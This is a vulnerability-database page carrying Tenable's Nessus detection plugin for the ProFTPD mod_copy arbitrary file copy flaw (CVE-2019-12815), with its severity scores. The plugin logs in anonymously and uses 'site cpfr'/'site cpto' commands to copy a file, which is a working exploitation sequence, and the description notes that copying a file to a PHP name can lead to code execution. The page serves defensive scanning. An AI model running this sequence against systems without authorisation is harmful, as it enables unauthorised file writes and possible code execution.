Lucene search

K
nessusThis script is Copyright (C) 2020 and is owned by Tenable, Inc. or an Affiliate thereof.PROFTPD_MOD_COPY.NASL
HistoryJan 09, 2020 - 12:00 a.m.

ProFTPD 'mod_copy' Arbitrary File Copy Vulnerability (Remote)

2020-01-0900:00:00
This script is Copyright (C) 2020 and is owned by Tenable, Inc. or an Affiliate thereof.
www.tenable.com
236

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.944

Percentile

99.2%

The remote host is running ProFTPD. It is affected by a vulnerability in the mod_copy module which fails to honor <Limit READ> and <Limit WRITE> configurations as expected. An unauthenticated, remote attacker can exploit this, by using the mod_copy module’s functionality, in order to copy arbitrary files in the FTP directory, provided that anonymous logins and mod_copy are enabled and the FTP directory is accessible from a web server. If a file exists in the FTP directory that contains PHP code but does not use the PHP extension, an attacker can copy this file to one with a PHP extension in order to execute code.

#TRUSTED 2606a82fe45cef6e98cdef5158a02d801029d40370c6e17674ee1a30b219c8128c24fb449cf90f150142b4dd1a42ce0680c4da282a0c1b4e524658a83e6d9997d9638c6b77fee9e471f7a1ca14c11eff88503c466da2c9b0906f53ae16f264894942490d367ccb8b3927e59e734b679999185e7056edd2a4b9bc4205488c6fbd88cf31169ebb36086151a856cdbe08f6c576e249115489434ca132fc3485fccc9c029f0de97ced3996515eb31b5460d4370fe33f517595fcdef1f2560003cb9e958a38aa370cade45ae692786e6070e6755b742b9ef2ab2263bfc51cc36aafeddc42bcd757331c613ed9773ec273af5440824aa6815bc0c32eefacd9c2e03cd11da1da6c4a1e8d78ead8d3d3bd9d906928decd2680c0a36eb1120f18b9d620351d97409aaa7f487891476ac5518884765f5798613867d37d720c66b35f54f737a7483bf9a997fbfc94afeeb704ac63e005068a462ca9a462ab3ea14011729f8de1567b804cc0eb83e26975e3f352f9139161092708c4ce240dc722f619219e87c5dd82ffdf626129ffdf65eb617680298f53825fb7ec267d8105fe127c8705b2d09afe05c7e3f04becd4fd9ebd02d86481499de4e2a8a695dd8bfc8988a7be9ee882d0618c1ab3d3b33d63161ca2ad1a591c6b4c1e3b19a831a82f359317c8f767c44eed0df71dd957762c79126b319d19243b662fbcf474b70c790f55634d0c
#
# (C) Tenable Network Security, Inc.
#

include('compat.inc');

if (description)
{
  script_id(132749);
  script_version("1.4");
  script_cvs_date("Date: 2020/01/10");

  script_cve_id("CVE-2019-12815");
  script_bugtraq_id(109339);

  script_name(english:"ProFTPD 'mod_copy' Arbitrary File Copy Vulnerability (Remote)");

  script_set_attribute(attribute:"synopsis", value:
"It is possible for anonymous users to copy arbitrary files.");
  script_set_attribute(attribute:"description", value:
"The remote host is running ProFTPD. It is affected by a vulnerability in the mod_copy module which fails to honor
  <Limit READ> and <Limit WRITE> configurations as expected. An unauthenticated, remote attacker can exploit this, by
  using the mod_copy module's functionality, in order to copy arbitrary files in the FTP directory, provided that
  anonymous logins and mod_copy are enabled and the FTP directory is accessible from a web server. If a file exists in
  the FTP directory that contains PHP code but does not use the PHP extension, an attacker can copy this file to one with
  a PHP extension in order to execute code.");
  # https://www.bleepingcomputer.com/news/security/proftpd-vulnerability-lets-users-copy-files-without-permission/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?a323713d");
  script_set_attribute(attribute:"see_also", value:"http://bugs.proftpd.org/show_bug.cgi?id=4372");
  script_set_attribute(attribute:"solution", value:
"Upgrade to the latest version of ProFTPD.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2019-12815");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2019/07/19");
  script_set_attribute(attribute:"patch_publication_date", value:"2019/07/17");
  script_set_attribute(attribute:"plugin_publication_date", value:"2020/01/09");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:proftpd:proftpd");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"FTP");

  script_copyright(english:"This script is Copyright (C) 2020 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ftpserver_detect_type_nd_version.nasl");
  script_require_keys("ftp/proftpd");
  script_exclude_keys("global_settings/supplied_logins_only");
  script_require_ports("Services/ftp", 21);

  exit(0);
}

include('audit.inc');
include('global_settings.inc');
include('ftp_func.inc');
include('spad_log_func.inc');

##
# Authenticate to the FTP server and return a command and data socket.
# @param cmd_port The FTP command port
# @return a list whose first element is the command socket, and second element is the pasv data socket.
##
function establish_ftp_connection(cmd_port)
{
  local_var d_soc, c_soc, d_port;
  c_soc = open_sock_tcp(cmd_port);
  if(!c_soc)
    audit(AUDIT_SOCK_FAIL, cmd_port);

  if (!ftp_authenticate(socket:c_soc, user:'ftp', pass:'[email protected]'))
      if (!ftp_authenticate(socket:c_soc, user:'anonymous', pass:'[email protected]'))
        {
          close(c_soc);
          audit(AUDIT_HOST_NOT, 'vulnerable as anonymous login is not enabled');
        }
  d_port = ftp_pasv(socket: c_soc);
  spad_log(message:'PASV FTP Port: ' + d_port);
  # Can't get PASV port from FTP server
  if (d_port == 0)
  {
    close(c_soc);
    audit(AUDIT_SVC_ERR, cmd_port);
  }
  d_soc = open_sock_tcp(d_port, transport: get_port_transport(cmd_port));
  if (!d_soc)
  {
    close(c_soc);
    audit(AUDIT_SOCK_FAIL, d_port);
  }
  return make_list(c_soc, d_soc);
}

##
# Lists the contents of the FTP root, printing them to spad_log as well as returning them
# @return the FTP root listing
##
function get_listing()
{
  local_var list_req = 'LIST \r\n';

  spad_log(message:'Sending \'' + list_req + '\'');
  send(socket:cmd_soc, data:list_req);
  cmd_res = ftp_recv_line(socket:cmd_soc);
  spad_log(message:'LIST response code: ' + cmd_res);

  data_res = ftp_recv_listing(socket:data_soc);
  spad_log(message:'Received the following listing of the FTP root:\n' + data_res);

  return data_res;
}

if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

if (safe_checks())
  # No corresponding audit message
  exit(0, "This plugin requires safe checks to be disabled.");

cmd_port = get_ftp_port(default: 21);

### Unless it's paranoid, make sure the banner exists and looks like ProFTPD. ###
if (report_paranoia < 2)
{
  banner = get_ftp_banner(port:cmd_port);
  if (!banner)
    audit(AUDIT_NO_BANNER, cmd_port);
  if (
    " ProFTPD" >!< banner &&
    "(ProFTPD)" >!< banner &&
    "220 FTP Server ready" >!< banner
  )
    audit(AUDIT_NOT_LISTEN, 'ProFTPD', cmd_port);
}

### Get command and data sockets
socs = establish_ftp_connection(cmd_port:cmd_port);
cmd_soc = socs[0];
data_soc = socs[1];

### Try to STOR from stdin ###
stor_req = 'STOR -\r\n';
spad_log(message:'Sending \'' + stor_req + '\'');
send(socket:cmd_soc, data:stor_req);
cmd_res = ftp_recv_line(socket:cmd_soc);
spad_log(message:'STOR response code: ' + cmd_res);
if (cmd_res !~ '^550')
{
  close(cmd_soc);
  close(data_soc);
  audit(AUDIT_HOST_NOT, 'affected as anonymous users have write permissions');
}

### List files to find a file to copy ###
data_res = get_listing();

# Split the FTP LIST command output and copy the first file or directory
got_file = FALSE;
foreach line (split(data_res, sep:'\r\n', keep:FALSE))
{
  # In both Windows and Linux, the file/dir name should be the last thing in the line
  file_name_res = pregmatch(pattern:".*\s([^\s]+)\s*$", string:line);
  if (!empty_or_null(file_name_res))
  {
    to_copy = file_name_res[1];
    spad_log(message:'File or folder name to copy: ' + to_copy);
    got_file = TRUE;
    break;
  }
}

# Nothing to copy
if (!got_file)
{
  close(cmd_soc);
  close(data_soc);
  audit(AUDIT_HOST_NOT, 'vulnerable as there are no files or directories to copy');
}

### Specify copy from file/dir ###
cpfr_cmd = 'site cpfr ' + to_copy + '\r\n';
spad_log(message:'Sending mod_copy command: \'' + cpfr_cmd + '\'');
send(socket:cmd_soc, data:cpfr_cmd);
# Need this line for copy to work. The response code is empty.
ftp_recv_line(socket:cmd_soc);

### Try to copy it to a different name ###
pattern = rand_str(length:8, charset:'0123456789ABCDEF');
copy_to = 'Nessus-proftpd_file_copy_rce-'+ get_host_ip() + '-' + pattern;
cpto_cmd = 'site cpto ' + copy_to + '\r\n';
spad_log(message:'Sending mod_copy command: \'' + cpto_cmd + '\'');
send(socket:cmd_soc, data:cpto_cmd);


### Check if copied file is present
# Need to close sockets and open a new connection
close(cmd_soc);
close(data_soc);
socs = establish_ftp_connection(cmd_port:cmd_port);
cmd_soc = socs[0];
data_soc = socs[1];

data_res = get_listing();
if (copy_to >!< data_res)
{
  close(cmd_soc);
  close(data_soc);
  audit(AUDIT_HOST_NOT, 'vulnerable as mod_copy did not successfully copy a file');
}

close(cmd_soc);
close(data_soc);
report = 'Nessus was able to copy the file or directory ' + to_copy + ' to the new file ' + copy_to + ' using mod_copy';
security_report_v4(severity:SECURITY_HOLE, port:cmd_port, extra:report);
VendorProductVersionCPE
proftpdproftpdcpe:/a:proftpd:proftpd

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS

0.944

Percentile

99.2%